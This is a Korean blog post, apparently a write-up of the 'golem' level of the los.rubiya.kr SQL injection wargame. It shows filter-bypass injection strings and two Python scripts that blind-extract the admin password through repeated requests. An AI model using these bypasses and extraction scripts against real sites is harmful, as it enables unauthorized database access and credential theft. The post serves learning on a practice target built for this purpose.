본문 바로가기
CTF_/los.rubiya.kr

[los.rubiya.kr] golem #11

by 낭람_ 2018. 8. 26.
반응형

[golem]




이번 문제는 preg_match에 의해서 or, and, substr(, =이 막혀있다.

or는 ||, and는 &&, substr은 mid, left, substring, =은 like, in으로 우회가 가능하다.

SQL 인젝션 우회 정리

이번 문제도 직접 비밀번호를 찾아야하니 length함수와 left함수를 이용하여 찾자.

?pw=' || id like 'admin' && length(pw) like 숫자 --%20 이런식으로 하면 길이를 알 수 있을것 같고

?pw=' || id like 'admin' && left(pw,1) like 문자 -- %20 이런식으로 하면 비밀번호를 알 수 있을것 같다.

또한 url로 직접 치는것이기 때문에 && 같은경우는 %26으로 입력해 주면 된다.


import requests

for admin_len in range(99) :
URL='http://los.rubiya.kr/golem_4b5202cfedd8160e73124b5234235ef5.php'
query={'pw': '\' || id like \'admin\' && length(pw) like '+str(admin_len)+' -- '}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break


위의 python을 실행시키면 비밀번호의 길이는 8이라는 것을 알 수 있다.


import requests

password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/golem_4b5202cfedd8160e73124b5234235ef5.php'
query={'pw': '\' || id like \'admin\' && left(pw,'+str(admin_len+1)+') like \''+password+chr(admin_pass)+'\' -- '}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break


위의 python을 실행시키면 비밀번호는 '77d6290b'라는 것을 알 수 있다.

?pw=77d6290b를 입력하면 클리어!



반응형

'CTF_ > los.rubiya.kr' 카테고리의 다른 글

[los.rubiya.kr] bugbear #13  (0) 2018.08.28
[los.rubiya.kr] darkknight #12  (0) 2018.08.26
[los.rubiya.kr] skeleton #10  (0) 2018.08.26
[los.rubiya.kr] vampire #9  (0) 2018.08.26
[los.rubiya.kr] troll #8  (0) 2018.08.26

댓글